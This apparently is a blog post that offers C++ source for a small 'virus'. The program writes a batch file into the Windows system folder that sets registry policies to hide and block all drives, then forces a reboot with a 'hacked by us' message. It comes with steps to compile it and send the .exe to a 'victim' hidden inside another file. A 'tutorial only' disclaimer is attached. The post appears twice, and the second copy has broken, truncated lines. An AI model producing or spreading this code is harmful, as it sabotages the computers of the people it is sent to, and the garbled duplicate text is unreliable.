C++ Virus Code :
BEFORE YOU START PLEASE NOTE:
THIS PROGRAM IS ONLY FOR
TUTORIAL PURPOSE. WE ARE NOT
RESPONSIBLE FOR DAMAGE CAUSED
BY THE PROGRAM.
#include<windows.h>
#include<fstream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>
int main()
{
ofstream write("C:\\WINDOWS\
\system32\\HackingStar.bat"); /
*opening or creating new file
with .bat extension*/
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v
NoDrives /t REG_DWORD /d 12\n";
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v
NoViewonDrive /t REG_DWORD /d
12\n";
write<<"shutdown -r -c \"Sorry
Your System is hacked by us!\" -
f"<<"\n";
write.close(); //close file
ShellExecute(NULL,"open","C:\
\WINDOWS\\system32\
\HackingStar.bat",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
Copy the above code and paste in
notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will
attack your system itself.
Copy the created .exe file and
send it to your victim. You can
also attach it with any file.
BEFORE YOU START PLEASE NOTE:
THIS PROGRAM IS ONLY FOR
TUTORIAL PURPOSE. WE ARE NOT
RESPONSIBLE FOR DAMAGE CAUSED
BY THE PROGRAM.
#include<windows.h>
#include<fstream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>
int main()
{
ofstream write("C:\\WINDOWS\
\system32\\HackingStar.bat"); /
*opening or creating new file
with .bat extension*/
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVe
sion\\policies\\Explorer /v
NoDrives /t REG_DWORD /d 12\n";
write<<"REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\
\Microsoft\\Windows\\CurrentVe
sion\\policies\\Explorer /v
NoViewonDrive /t REG_DWORD /d
12\n";
write<<"shutdown -r -c \"Sorry
Your System is hacked by us!\" -
f"<<"\n";
write.close(); //close file
ShellExecute(NULL,"open","C:\
\WINDOWS\\system32\
\HackingStar.bat",NULL,NULL,SW
return 0;
}
Copy the above code and paste in
notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will
attack your system itself.
Copy the created .exe file and
send it to your victim. You can
also attach it with any file.
0 comments:
Post a Comment